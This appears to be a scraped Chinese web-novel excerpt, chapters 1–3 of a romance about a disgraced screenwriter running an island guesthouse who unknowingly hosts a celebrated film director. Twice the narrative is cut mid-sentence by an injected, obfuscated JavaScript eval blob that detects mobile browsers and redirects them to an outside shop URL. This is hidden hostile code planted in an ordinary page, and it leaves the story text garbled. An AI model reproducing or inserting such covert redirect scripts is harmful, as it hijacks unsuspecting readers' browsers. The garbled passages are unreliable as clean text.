《想把你比作春日》 1. 春日 【央戏08级导演系陆成:语音40秒>>>】 宜夏按住太阳穴,努力做了一番心理建设,才点开长达四十秒的语音。 陆成陆导演人未到中年,已经被娱乐圈的酒色财气掏空了身体。 声音听起来特虚,颠三倒四,张口就是:“小夏啊,你这个剧本呢,咱们不是说不能拍,但也不是说要拍,咱们这个啊……就是说,咱们就是说……” 宜夏听了十五秒,没听出重点。 抱紧膝盖,她用力摁下语音转文字。 重点在一长段语音的最后—— “咱们就是说,你的剧本啊,也是可以拍的嘛。咱们就是说,但还是需要一点修改。你这样,你什么时候有空,来江流,咱们见个面,好好聊聊。我呢,我就住在江流的丽思卡尔顿,我在那,有个特别好的套房,哎你就直接跟前台报我名字就成……” ——又是垃圾。 宜夏按下语音,语气温温吞吞的。 【不好意思陆导,我跟前台报了你名字,他们说不认识。我估计扫黄大队知道,所以打电话问了下他们。】 唰的一声,语音发了过去。 不出两秒,立刻得到了对方一长串回应和辱骂。 “哎你怎么说话的?你不就是出来卖的吗还清——” 宜夏懒得跟垃圾计较,她关掉对话框,直接把人拉黑。 翻开备忘录,她在陆成的名字上划下一个巨大的红叉。 pass。 候选人-1 失败次数+1 自从经历了去年那场网暴后,宜夏的剧本投递就没顺利过。 失败次数能在墙上画满一面墙的正字。 备忘录上面记的全是有可能合作的导演、制片人的名字。 曾经她在电影节拿奖,这些人都是上赶着递名片,求着买她的本子,信誓旦旦说“宜老师您这个本子给我们,我们请谈导来拍,你们俩合作嘛,双剑合璧,一定能拿BP!不是柏林就是戛纳!票房十个亿!” 如今呢? 无数拒绝,无数挑剔,无数轻蔑。不是东挑西拣嫌弃她不商业化,没有爱情线,叙事复杂不大众,就是暗戳戳地暗示潜规则。 宜夏有时候会觉得蛮荒谬。我一个编剧,幕后工作人员,靠写字吃饭,又不靠脸,也要接受你们潜规则吗? 没办法。 谁叫她现在声名狼藉呢。 备忘录里几乎所有名字都被画上了红叉,幸存者寥寥无几。 宜夏凝视着页面最上方、用加粗字体写上去的名字。 ……谈雪昼。 谈雪昼。 华语电影目前风头正劲的天才青年导演,家世显赫、才华横溢,部部电影都是票房奇迹。 宜夏眼眶隐约有点发胀。 谈雪昼最初是宜夏的第一考虑。 出道电影就斩获数十亿票房的天才导演。 如果能得到这条人脉,她一定能立刻重新翻红,洗掉所有污点,拿回所有属于自己的东西。 可是她根本没途径认识他。 他作品高调,本人却低调神秘到不行。宜夏曾经在酒桌上,听制片人们侃起来,略略提过一两句他的家世背景,是宜夏一个娱乐圈底层民工根本不敢想象的存在。 她没有任何渠道得到他的联系方式。 面前的电脑屏幕右下角闪烁个不停。 宜夏脑子要被涨坏了。 她叹了口气,搁下手机。摸起防蓝光的眼镜戴上,凑过去看电脑屏幕。 民宿的后台系统提示:您有新的订单啦~ ——去年那场网暴之后,宜夏回了老家清塘岛。 清塘岛是个渔业、旅游业为主的小岛。在岛上,宜夏开了家民宿,平时接待寥寥几个客人,也算一份微薄的收入。 现在这个季节,五月份,不是岛上的旅游旺季,客人不多,宜夏已经半个月没有客人了。 终于又要有收入了,宜夏稍有振奋,扫了眼后台的预定登记。 等等…… 预定时间:5.21-10.21? 五个月? 这位名字叫徐皑的客人,怎么会一订订满五个月? 定错了吧? 宜夏翻出来客人的登记信息。 徐皑,身份证号码,预定时间,订金,手机号码。 幸好后台可以看见手机号,宜夏立刻用旁边的座机给客人打过去电话。 无人接听。 宜夏想了想,用预定网站的消息系统给对方发过去一条消息。 没出两分钟,对方回复了: 【没错。】 宜夏有点纳闷。 身份证信息登记是男性。 宜夏是民宿老板,也是民宿唯一一个员工,要和男房客朝夕相处五个月,她不太舒服。 【方便问一下,您为什么要订这么长时间吗?】 徐皑: 【?】 【房东需要管这么多吗?】 宜夏:“……” 这位房客不仅是男的,还是个脾气很不好,说话很冲的男的。 她哽了下,打字过去: 【不好意思,因为我们老板是女生,不太方便一位男房客预定这么长时间。麻烦您取消预定,去订岛上其他更好的民宿?如果您需要的话,我可以为您推荐】 徐皑: 【不换】 宜夏心烦意乱。 本来剧本谈得不顺利,她就心情不大好,还遇上这么不好说话的房客。 她另外找了个借口,慢吞吞打字: 【真是不好意思,先生您还是取消一下预约吧,咱们民宿已经客满了。】 徐皑: 【那你取消其他人的,接我这单。】 宜夏:“……” 【不好意思,其他房客更早预定。】 徐皑: 【我出两倍房价。】 宜夏:“……” 对方似乎有些不耐烦,很快发来了新消息。 徐皑: 【五倍?】 宜夏发了个省略号过去。 徐皑: 【十倍?】 宜夏: 【……】 沉默片刻,宜夏没忍住看了下自己的微信余额,22.18元。 十倍房价是多少来着…… 宜夏飞快打字: 【好的先生,没问题,您很有眼光,我们家民宿确实是这附近位置最好风景也最美的,您到岛上之后我可以为您全程服务。】 十倍房价,不赚是傻子。 这哪里是莫名其妙的徐先生,这是我失散多年的大金主。 而且看徐先生的身份证照片,也挺威武雄壮的,应该是个讲究人,不至于欺负她一个姑娘吧。 宜夏下手把房价调高了十倍。 对方取消订单又重新预定了一次,爽快倒是挺爽快的,确认过眼神,是个有钱人。 宜夏看到系统计算出来的巨额数字,眼睛缓缓瞪圆。 深呼吸。 淡定。 宜夏: 【非常感谢您的预定先生,欢迎您随时入住。入住时如果有任何需要,您随时叫我们客房服务小妹就行。】 没错,老板娘是她,客房服务小妹也是她。 徐皑: 【我明天上岛,你们民宿可以接送站吧?】 ——没有啊。 怎么可能会有这种服务。 在岛上,宜夏唯一的交通工具是辆小电驴,还有一台外婆留下来买菜的老头乐。 然而宜夏: 【我们民宿有完善的接送站服务,保证让您宾至如归。】 徐皑: 【OK】 对方下线。 宜夏再看了眼巨额房费数字,个,十,百,千,万,十万…… 收回刚刚说这位徐先生莫名其妙的指责。 怎么能叫莫名其妙呢?徐先生简直是活菩萨。就冲着这十多万的房费,宜夏也要把人给服务好了。 - 回到清塘岛起,宜夏就一直失眠,总是做一些光怪陆离的梦。 一会儿梦见面目模糊的房客挥舞着钞票向她奔来,一会儿,梦见房客变成了恐怖片里的杀人狂魔,从背后掏出一把电锯。一会儿,梦见一年前打开微博看见的热搜,铺天盖地的辱骂声、指责声,甚至她的黑白遗照;一会儿,又梦见外婆坐在桂花树下低头打毛线,转过头,棕色的眼珠透彻温和,问她,阿宜啊,婆婆做的桂花酒好不好喝? 梦里的宜夏有没有落泪,她不知道。 她被急促的闹铃吵醒,惊醒时看了眼时间。 糟糕,已经九点了,第一班上岛的轮船半小时后就要到码头了。 不知道徐先生是不是坐这一班轮渡上岛。 宜夏随便挑了件收腰的牛仔裙套上,立马奔去洗漱,还不忘给徐先生打个电话确认时间。 然而电话还是没打通。 她只好再次用民宿后台预订系统留言,询问徐先生到底是哪班轮渡。 等了几分钟,终于得到了一条回应: 【马上到了】 宜夏立马收拾好东西,急匆匆开着老头乐出门。 老头乐顺着环海公路行驶,摇摇晃晃,慢慢吞吞。初夏略带咸腥味道的海风拂过,浪声一叠一叠。 今天天气不好,出门没多久,就下起雨来。天色逐渐压暗,淅淅沥沥的小雨落在车窗上,视线一片模糊,车开得更慢。 宜夏往车后座看了一眼,没有伞。 她只好折返回去拿了两把伞,再次出门。 看了眼时间,已经是轮渡抵达的钟点了,客人估计已经到了。 不能让人等太久,宜夏使劲一脚油门,把老头乐的速度加到最快——然而也只有慢慢吞吞的二十码。 着急也没用。 好不容易破开积水,一路行驶到码头附近,已经是三十分钟之后。 天色暗沉,海水倒映着天空欲滴水的昏暗色彩。 今天不宜出海,附近渔民的渔船停靠在岸边。几只客船货船的船底红漆颜色斑驳,远处几只帆船洁白的帆影,在风浪中扑簌地招展着。风很大,把乌云扯开,最远的天际线异常明亮。 宜夏从车上跳下来,抽出两把伞,急匆匆往候船大厅走。 小岛的码头修得简陋,候船大厅空间逼仄,空气中浮动着海水的咸味、雨水的潮湿味,以及各种海货鲜甜的腥味。 刚刚抵达的客人没办法在大厅等,又没有伞,只能挤在大厅外的屋檐下躲雨。 宜夏撑着伞,目光逡巡,寻找徐先生的身影。 屋檐下躲雨的乘客大都是宜夏的熟脸,没看见徐先生的影子。 熟悉的阿伯看见了她,用方言跟她打招呼:“小夏啊,出岛哦?” 宜夏用方言回答伯伯:“有客人,来接一下——” 伯伯转过头,朝候船大厅里望去:“生人哦?” 宜夏顺着阿伯的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461064|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神看去,一个戴双梁飞行员墨镜、穿墨绿色飞行员夹克的男人,正拎着单肩包从候船大厅里走出来。 不仅是她,屋檐下躲雨的所有阿伯阿嬷,眼神都不由自主聚焦到了这男人身上——实在是太格格不入的耀眼。 ——虽然光线昏暗,但她眉目深邃,鼻梁挺直,下颌线优越清晰,戴着墨镜都遮掩不住眉眼间闪亮的英俊感。 小岛上哪有这样的人? 男人也没有伞,只能拎着单肩包站到屋檐下,姿势松弛懒散。明明挺拥挤的屋檐,众人却不约而同的挪开位置,恰好给他围出了一个空心圆。 他身材高大,肩膀宽阔、背脊挺拔,站在空地里鹤立鸡群一般,单手抱臂,抬起下巴,淡淡望着雨幕。 墨镜依然没摘,只能看清他凌厉冷白的一抹下颌线条。 宜夏很快收回了眼神。 这不是徐先生。 徐先生身份证照片威武雄壮,寸头黑皮肤,很好认。 所以徐先生人呢? 一个寸头矮胖男人从候船大厅的厕所奔了出来,抖着衣服在屋檐下躲雨。 是个生脸孔。 淅淅沥沥的雨幕遮挡着视线,宜夏低头对比手机上存的身份证照片,走到那男人面前,有点迟疑:“徐先生?” 寸头男抬起头:“哎?” 看清楚伞下女孩长相时,寸头男顿时呆住了。 收腰的牛仔裙掐出盈盈一握的腰,往上,手臂纤细,肩膀圆润,脖颈细长。脸孔泛着莹白的柔润的光彩,整张脸漂亮到朦胧看不清细节。 寸头男呆了两秒,才问:“你是?” “我是您定的民宿的员工,我来接您去我们家民宿。您不是在我们家定了五个月吗?” 声音刚落,宜夏敏感地注意到,戴墨镜的那个男人朝她侧了侧头,墨镜上紫蓝色的冷光一闪。 寸头男似乎没听清宜夏说了什么,呆呆的,只顾嗯嗯点头。 宜夏虽然觉得他和身份证照片不太像——也许是胖了吧,胖得有点太多了。 也没觉得有什么太奇怪。 她分给徐先生一把伞,走在前面给他带路:“车停在外边一点。跟我来。” 涉水走到老头乐停的地方,宜夏替徐先生撑着伞,把人塞进了车里。 徐先生人虽然个子不高,但身材实在是矮胖,把老头乐的座位塞得满满当当,转过头跟宜夏抱怨:“怎么就开这么个车来接人嘞?你们怎么做生意的?” 宜夏十分淡定,张口就来:“您不知道,这辆车啊,是我们家接客人最好的一辆车,之前有剧组在岛上拍戏,这车舒润坐过。” 徐先生:“舒润是谁?” 宜夏咬了下牙。 是她前男友。 “去年特别火的那个电影啊,《强制报告》的男主演。大明星。” 徐先生:“哦哦那个电影,我知道,听说过,特别的有名,我女儿可喜欢了。” 顿了下,他还挺有兴致拉家常,“我女儿现在想考电影学院呢,想以后也能拍这种电影出来!编剧是她的偶像。” 宜夏目不斜视启动了老头乐,没应声。 破开积水,一路往家的方向驶去。 徐先生矮胖的躯体塞满了车座,挤得难受,一直试图往宜夏的方向靠。 在他第三次不小心碰到宜夏手臂时,宜夏突然说:“徐先生,虽然很感谢您定我们家民宿,但我也有责任提前告诉您。” “——我其实有皮肤病。” 徐先生:“?” 他立刻朝车窗缩去,整个人都挤压在了车窗上,不敢再碰宜夏光裸在外的滑润皮肤。 宜夏慢悠悠地补充:“医生说,不传染。” 徐先生:“……有病怎么还开民宿嘞?你健康证有吗?” “有的。经营证照很齐全,如果您要看的话,咱们到了就能看。” “算了算了,我就住个两天,没必要。” 吱的一声—— 一脚急刹,老头乐停在了距离晴天民宿大门不到三十米的地方。 徐先生动手解安全带,那安全带勒进了他的肉里,紧紧的,喘不过气。边解边问:“到了?我怎么记得我定的那家不长这样?” 宜夏转过头,皱眉问:“两天?你就定了两天?” 徐先生不解:“不然?” “——徐先生,你是叫做徐皑吧?” “我叫徐忠,你们怎么还搞错客人的名字?” 宜夏呆了一秒。 接到其他人了吗? 真正的徐先生呢? 她不会把真正的徐先生留在码头等了一小时吧? 手机突然震动了起来。 一个外地的号码在屏幕上闪烁。 宜夏记性很好,这不是昨天后台登记的徐先生的电话号码。 那边徐忠已经拉开了车门要挪下车,她伸手阻止:“——稍等,还没到!您先等我接个电话。” 手忙脚乱地拉住念念叨叨要下车的徐忠,宜夏用肩膀夹住手机,喂了一声。 那端传来一道略显懒散的男人声音。 漫不经心,有些抓耳:“晴天民宿?我已经在码头等了一小时零九分钟了,你们接站的人呢?” 宜夏转头,看了眼徐忠,心情有些沉重。 她尽量淡定:“不好意思徐先生,我们负责接站的员工她……抛锚在路上了,请您再稍等一会儿。” “抛锚了?不是接错人了?” 宜夏心里低低靠了一声。 2. 春日 听着宜夏打电话,徐忠似乎也反应了过来。 没等她把电话挂断,徐忠就迫不及待地打断:“——我定的不是你家!你怎么乱揽客?你们是黑店吧?——我就说,正经店怎么会搞这种老头车接人?” 宜夏有些心急。 真正的大金主徐先生还等在码头呢。 她尝试跟徐忠商量:“这样,徐先生,我把你在这边放下,你自己去找你定的民宿行吗?咱们岛上民宿大部分都在这一块附近,很近的,雨现在也不大了——” “不行!你想把我丢在路边就走?你得把我送到我定的那家!” 宜夏也是理亏,深呼吸之后耐心跟人讲道理:“真的很不好意思,但是我这边客人有点着急,你看能不能……” “不行。”徐忠斜过来一眼。 他干脆不下车了,再次用安全带把自己绑紧,跟宜夏说:“你要负责任的嘞,你得负责把我送到位。随便把人丢到路边,你们家民宿叫……晴天是吧?我会去投诉你们家的。” 宜夏面无表情地重新启动车子。 她自暴自弃了。 反正已经让客人等了一个多小时,再等一阵也不算什么。 她平心静气问:“徐先生,那您定的那家民宿叫什么?我现在立刻把您送到。” 徐忠看了眼手机订单,给宜夏报了个名字。 宜夏不可置信——离她家足足七公里,离码头有个十公里! 徐忠说什么也不下车,宜夏只好一脚油门踩到底,朝他定的那家民宿飞奔。 幸好环海公路没什么人,一路把老头乐飚得起飞。二十分钟后,总算把接错的客人成功送到。 徐忠下车时,吝啬地说虽然她做事马虎大意接错客,但她人嘛还挺好嘞,下次有机会要订她家的民宿。 宜夏唇角弯出一个敷衍的弧度道谢,猛踩一脚油门,老头乐掉头,狂奔向码头。 边开车她边打刚刚那个号码。 电话打了一阵才接通,依然是刚刚那道懒散的男声:“晴天民宿?” “对。徐先生真是不好意思,我们接站的工作人员马上就来——” “不用了。”那边传来一阵衣服抖开的清冽声响,紧接着,男声慢条斯理道,“我已经到你家门口了。” 啪。 言简意赅,刚说完电话就断线了。 宜夏揉了揉泛红的外耳廓。 总共就说了两句话,可不得不承认,徐先生的声音是真抓耳。清朗干净,给人很明亮洁净的想象。 她猛打方向盘掉头,朝自家民宿驶去。 二十分钟的路程里,她一直在琢磨怎么跟大金主道歉。 认错人,接站没接到,让人等了一小时,还自己一路找到民宿门口。 这些意外足以让徐先生对她家民宿留下不好的印象了。 宜夏脑子里旋转着几个念头,翻来覆去的就是:不管印象有多差,反正订都订好了,房费我们可是不退的。 ……好吧,至少不全退。有押金和违约金的。 老头乐后胎发出吱呀一声,晃晃悠悠停在了民宿小院门外。 这是个标准海岛风格的小院子。 二层半的民宿小楼房顶被漆成海天一色的天蓝色,墙壁则是白色的。院墙是木栅栏围成的,栅栏上爬满了蓝雪花、牵牛花和藤本月季的藤蔓。这个季节不是蓝雪花的花季,蓝紫色、粉白色的牵牛花开得倒很热烈。月季是宜夏外婆种的,很普通的粉白色,宜夏年初新栽了金黄和橙红的品种,“金黄庆典”和“果汁阳台”,但还没到爆盆开花的时候。 木质院门上挂着“晴天民宿”的标牌,闪亮的清漆还没干燥完全。院门半掩着,一阵若有若无的四季桂清香飘来。 宜夏琢磨着,一定要先声夺人,一开口就直接跟客人滑跪道歉。这样对方绝对会惊讶,就不好意思怪她了。 她反复演练着说辞,一把推开院门。 门一开,看清站在房门屋檐下男人的身影,她错愕地站住了。 是刚刚在码头碰见的那个戴墨镜的男人。 他听见动静,转头看向门口。 他淋了点雨,乌黑的发丝湿漉漉的,凌乱翘着,被不耐烦地用手指胡乱梳了两把。双梁的飞行员墨镜架在鼻梁上,挡住了大半张脸,只露出一抹冷白的下颌线条。那鼻梁太高,不像亚洲人的山根。宜夏一瞬间疑心他到底能不能把墨镜戴稳,又职业性地怀疑是不是整容了。 还没琢磨出结果来,宜夏突然清掉脑子里所有乱七八糟的念头,闪电般想,不对啊,身份证上不长这样。 男人居高临下看着她,一直没开口。 宜夏终于察觉出静默太久,气氛不对劲。 刚刚脑子里打好的腹稿全忘到脑后了,她小心翼翼:“你……” 整容了? 男人突然开口:“我没想到你们民宿只有一位员工。” 宜夏没明白,接话:“所以?” “所以我在码头等了一个半小时,又在门口等了四十三分钟。” 宜夏牙根一紧,火速道歉:“对不起徐先生,真的很抱歉让您久等了。” 她立刻上前掏出钥匙开门,男人顺势让开位置。 然而屋檐下本身地方狭窄,两个人还是不可避免地靠得很近,起码近过了正常社交一米距离。 宜夏嗅到一种大雨打在树叶上激发出的冷香。 气息交错一瞬间,宜夏推开了房门:“徐先生您请进。” 男人手掌按在房门上,指骨撑开,侧过头看她,声音突然有点儿冷,如同透明的冰块在夏天冰镇的苏打水里滚过:“你不知道我姓什么?” 宜夏愣了一秒。 不姓徐吗? 难道她又接错人了? 不对,如果不是他预定的民宿,那他怎么会有她的电话还找到地址? 男人说:“我姓谈。” 宜夏迟钝地“啊”了一声,惯性走到客厅角落搭好的简陋前台桌后,摁开电脑屏幕。 男人抱臂站在原地,微微抬着下巴打量着民宿客厅的装饰。 这家民宿并不是那类职业民宿的酒店式格局,客厅布置充满生活气息。首先入眼的是书架,很多书,正常用作装饰的隔断架上放满了旧书,令人产生印刷墨水气味的错觉。墨绿的丝绒窗帘如同水银匝地,密实地垂落下来,偶尔闪烁,窗帘缝里透出外面雨晴后天空蒸汽般的蓝色。 男人低眼。 面前的桌面摆着一个相框,里面是好莱坞当红巨星伊森·科尔顿的经典作品《审判日号》海报——民宿的主人估计很热爱生活,爱读书,很可能还是个影迷。 男人从相框上收回眼神,目光落到正在按键盘的女孩身上。 她微微垂着头,一缕发丝从耳边垂下,一侧刘海别着一个小小的浅绿色蜻蜓发卡。整张脸明亮而朦胧,仿佛笼在一层水银般的光晕里。 宜夏调出后台登记系统,抬头说:“所以您是用朋友的身份证预定的吗?那请您出示一下您自己的身份证,需要做个登记。” 男人没理她,问:“我定的是二楼的房间?” 宜夏很耐心地说:“谈先生,实名认证登记是国家规定的,麻烦您配合一下?” 男人手掌撑着桌面,俯下身来,墨镜依然没摘,很有兴致地胡说八道:“丢了。” “什么丢了?身份证?” 男人也耐心地点头:“对。” 宜夏觉得他在逗她,板起脸:“先生可以麻烦您摘一下墨镜吗?” “不可以。” 宜夏:“……” 这人长得挺人模狗样的。 宜夏在电影圈打过几个滚,见过不少真俊男美女,甚至还交过一个大明星前男友,也不得不承认,这男人的气质不输明星。 难道他也是什么明星,所以这么盛气凌人,又不愿意暴露身份? 宜夏解释:“先生您请放心,我们这边绝对是正规民宿,一定会对您的个人信息保密。” “只有一个员工的正规民宿?” 一个员工怎么了?我自食其力,国家还没不准我一个人开民宿呢。 宜夏张了张口,半晌说:“是,我们民宿就只有我一个员工。所以如果您不满意,可以去定其他的大民宿。”顿了下,她补充,“订金不退。” 男人定定看了她两眼,低头从夹克的口袋里抽出皮夹。 两根修长的手指夹着身份证,推到了她面前。 宜夏接过身份证熟练地在机器上识别,电脑屏幕立刻刷出身份证主人的信息。 顾客信息:谈雪昼 宜夏呆了一秒,猝然抬头,看向微微偏头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461065|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量四周的男人。 谈雪昼? 是重名吗? 宜夏拿过身份证,低头研究上面的个人信息——姓名性别民族出生日期,还有住址。年龄对得上,地址好像也是对的。 正看着,身份证小卡片被男人随手抽走。他弯着唇角,语气漫不经心:“怎么,看出造假痕迹了?” 宜夏干巴巴顺着他的话往下说:“对,先生您让我再研究一下。” “……登记好了就带我去我的房间。如果我没记错,我花了十倍房价,你就给我这样的待遇?” 十倍房价…… 说到十倍房价,宜夏突然回过神来,换了副热情营业的语气:“对不起先生,那请您来做个人脸认证。”她摆弄着桌上的小摄像头,抬头对准谈雪昼,“麻烦您摘一下墨镜。” 说实话宜夏从没见过室内还要戴墨镜的人。 不仅戴着还一直不肯摘。 不是盲人就是装逼犯。 显然谈雪昼是后者。 谈雪昼浓密的长眉微微皱起,看起来对摘墨镜这个要求有点抗拒。 不过身份证都给了,摘个墨镜也没必要扭捏了。他把墨镜从鼻梁上取下来,似乎不大适应光线,眼睛眯了起来。 那是双标准的桃花眼,眼窝深邃,眼型狭长而英气,睫毛浓密,下睫毛纤长得根根分明。眉骨过于陡峭,因此稍显眉压眼,眼神移过来的时候,一种压迫感油然而生。 可惜一双干净的眼睛,眼底却隐约有薄薄一层血丝。浅茶色的虹膜上水光隐隐闪过。 宜夏见过有职业病的导演。 在暗房工作太久,遇见正常光线眼睛就会不舒服、掉眼泪。 这个谈雪昼,应该真的是她想的那个人。 宜夏精神忽然为之一振。 谈导竟然自己送上门。 这不是山重水复、柳暗花明吗? 她立刻拍好照片,格外快速地替人做好登记,语气也变得热情而振奋:“谈先生来我带你去房间。一路辛苦了,今天真的非常抱歉接待不周——”她转过头,却看见谈雪昼已经再次戴上了墨镜。 黑色镜片遮掉大半张脸,只能看见他嘴唇微微挑起的懒散弧度,对她的客套兴致缺缺。 宜夏闭嘴。 安静如鸡把人引到二楼。 民宿是她家的老房子改的,二楼改成了两个套房,带阳台和大露台,三楼则是另一个套房。 谈雪昼出了十倍房价,要求是除了他之外之后五个月不能接待其他客人,也就是二楼归他一个人。 宜夏引他到房间门口,谈雪昼才终于开口:“就到这里就可以了。之后如果有需要我会叫你,希望你二十四小时随时都在。” 宜夏:“……我是房东。” 不是女仆。 也不是酒店三班倒的客房服务。 谈雪昼挑眉:“十倍房价?” 十倍房价就能出卖她的尊严吗? 不行。 得加钱。 等等—— 宜夏已经知道他是谁了。 某个念头挠得心脏轻微收缩瘙痒,她怎么能放弃这个好机会? 宜夏把涌到嘴边的“要加钱”咽回去,话锋一转:“——不过,谈先生我非常乐意为您服务,随时为您效劳。您有什么事情,二十四小时叫我都可以。” 谈雪昼似乎满意了,朝她略一点头,示意她赶紧松开门把手,让他进门。 宜夏按着房间门把手不让谈雪昼进去,脑子迅速转动,热情提议:“但是谈先生,我家之前确实没有过预定长时间的房客。所以为了避免之后出现照顾不周的问题,我们有必要事先聊一下生活习惯一类的,这样也不会不小心打扰到您影响到您?您看我们要不要先详细聊一下?或者加个微信聊什么的。” 谈雪昼手掌已经按在了门把手上,拉着调子懒洋洋说:“不用。” 宜夏张了张嘴。 他顿了下,上下打量她,依然慢条斯理的:“还有,我们只是单纯的金钱交易关系,不用过于热情。” 宜夏缓缓睁大眼睛。 半晌,她镇定地点头,顺着谈雪昼的话大言不惭说:“热情是我的职业素养。而且,对于室内还要戴墨镜的视力障碍同胞,正常人类都会稍稍热情一些。您不用太,受宠若惊。” 3. 春日 回到客厅,宜夏把自己摔进墨绿色的云朵沙发里,揪住兔子抱枕的长耳朵。 懊恼得不行。 上一秒还在琢磨怎么靠近谈导,下一秒就嘲讽别人“视力障碍”。 我怎么就控制不住我这嘴呢? 五分钟前。 她说出那句话后,谈雪昼怔了一瞬,表情变得很冷。 下颌在一瞬间绷紧。 他伸手摘掉墨镜,眨了下眼。宜夏清楚地看见了他眼底潋滟的水光,似乎一见到光就特别不舒服。 他直勾勾地盯着她,半秒之后别过脸面无表情说:“我没有视力障碍,只是角膜炎。” 宜夏张了张口。 他拧开房门走了进去,回过头,语气有点嘲讽:“宜小姐,看来你的职业热情持续的时间不太长。” 宜夏木木地看着房门在她面前关上。 懊悔。 现在就是懊悔。 她从上大学起就开始做编剧,开始是业余的,大学毕业拿了奖之后就成了职业编剧。混在嬉笑怒骂的艺术生编导生群体里,她也学会了他们的嬉笑怒骂玩世不恭。有时候真不是故意嘲讽别人,就是被动技能,嘴一秃噜,那阴阳怪气的话,就自然地滚出去了。 懊悔。 这下好了吧。 本来就接待不周得罪了谈导,这下印象分彻底要被扣光了吧。 宜夏悔恨了两分钟,流逝的力气才渐渐回到四肢之内。 这才是第一面,初始印象不好又能怎么样?人定胜天,只要我努力,一定能扭转这些坏印象……没错。 她揪着兔子的耳朵,轻咬下唇。 谈雪昼可是预定了五个月的民宿。 五个月的朝夕相处,总不能刷不满好感吧? 刷爆他的好感度,再顺理成章地把我的剧本递给他。哪怕他本人不拍,估计也会推荐给其他朋友,这样…… 我一定要回到电影圈。 我不是要证明我了不起,我只是要洗雪所有耻辱,拿回那些属于我的东西。 - 谈雪昼进了房间之后,直到下午时分才收拾好下楼。 宜夏坐在客厅角落的书桌旁边,抱着膝盖修改自己受挫多次的新剧本,《清塘山岛日记》。听见下楼的声音,她偏过头,眼前一瞬间仿佛明亮的电光闪过。 “眼前一亮”,居然是个物理意义上的形容词。 谈雪昼换了件纯白的落肩短袖T恤,配上黑色长裤,墨镜依然架在鼻梁上。整个人身上不超过黑白三种颜色,干净明朗,明明脸都叫人看不清,却硬生生把室内的沉闷气氛一扫而空,仿佛萦绕在他周围的空气都更明亮透彻。 他朝宜夏走过来。 宜夏立刻站起来,弯起眼睛:“谈先生,您有什么需要?” “什么时候吃晚饭?” 这人一脸淡定,似乎并没为之前发生的小小冲突而不虞。 宜夏:“……我们民宿不为客人提供餐食。” “十倍?” 宜夏义正词严:“房费是房费,餐费是餐费。” “意思就是要加钱?”谈雪昼看着她,百无聊赖问,“蛋炒饭收费多少?” 宜夏干巴巴说:“收您十五,这是岛上物价。” “行。去吧。” 宜夏朝厨房走到半途,回过神,怎么感觉自己好像被谈雪昼控制了?她为什么就这么答应了给他炒饭? 这节奏不太对。 她进了厨房,一边寻思一边麻利开火。 岛上没有天然气,都是用煤气罐,火舌点燃,舔在煤气炉上,像张爱玲形容的“蓝色牙齿”。 宜夏有些不解地从蓝色牙齿上移开眼神,回过头。谈雪昼闲闲地坐在门外餐厅旁边,长腿伸开,懒洋洋地捧着一本书。 封皮很熟悉,是她经常翻的《罪与罚》。 怎么会有人戴着墨镜翻书?——不是,最重要的是,这人怎么随便翻别人的书啊? 他为什么这么自然,好像他是这里的主人,而我是他的仆人? 宜夏简直不解。 扬州炒饭食材简单,她很快炒好。琢磨着懒得自己再做晚饭,她给自己多炒了一份,一起端到餐厅。 谈雪昼就淡定地坐在原地翻书,等着她上菜,根本没有搭把手的打算。 宜夏倒也没指望他主动帮忙,毕竟人是付钱的客人嘛。 她摆好碗筷,语气温柔热情:“谈先生您请用。” 谈雪昼终于摘掉墨镜,随手搁在旁边,眨了下眼睛。 角膜炎导致眼睛水光闪闪,哪怕室内光线并不强,他依然不适应地眯了下眼睛,紧闭两秒之后才睁开。他慢条斯理地拿过筷子,没抬头:“不用叫我谈先生。” “这不好吧?”宜夏说,“我们好像才刚认识,没那么熟吧。” 谈雪昼眯了下眼,似笑非笑:“刚认识?你以前不认识我?” 宜夏一下有点紧张。 她该说什么?该说认识还是不认识?谈导的鼎鼎大名,说不认识会不会太虚伪?但说认识,会不会太把自己当回事? 沉吟一秒,宜夏老实说:“我们之前确实不认识吧?” 谈雪昼不咸不淡:“行。” 宜夏坐直身体,郑重说:“那我自我介绍一下,我叫宜夏,淡妆浓抹总相宜的宜,一晴方觉夏深的夏。之后可能要长时间相处,谈先生你可以叫我房东,也可以叫我名字。” 谈雪昼不甚在意地点头,已经开始吃那碗炒饭。 吃了两口,他就搁下筷子,浓密的长眉皱起来:“淡了。” 宜夏挖了一勺尝尝。 不淡啊,他是什么重口味,要多加盐? 人家是付十五块钱买饭的客人,职业素养要有。宜夏挤出笑脸,撑着桌子站起来:“那我去帮您加点盐。” 谈雪昼抱着手臂,朝她点了点下巴。 就这一会儿功夫,他眼睛里又全是潋滟的水光。 不说是角膜炎,宜夏会以为自己罪大恶极,做饭不放盐把一个男人委屈哭了。 怀着一种莫名的罪恶感,宜夏端着谈雪昼的饭回到厨房再次加工,略略加了一层薄盐,再快速舀回盘子里端了回去。 谈雪昼又尝了一口。 淡淡说:“咸了。” 宜夏缓缓睁大眼睛。 不是咸了淡了,你是来找茬的吧? 宜夏语气诚恳建议:“那不然您吃我这份,我只尝了一口。您可以自己去加盐。” 谈雪昼:“……” 他又尝了一口自己碗里的,说:“算了。勉强。” 宜夏:“谢谢您的大度。” 沉默地闷头吃完两碗饭。 谈雪昼先搁下筷子,两只手十指交叉放在桌上,静待宜夏吃完。 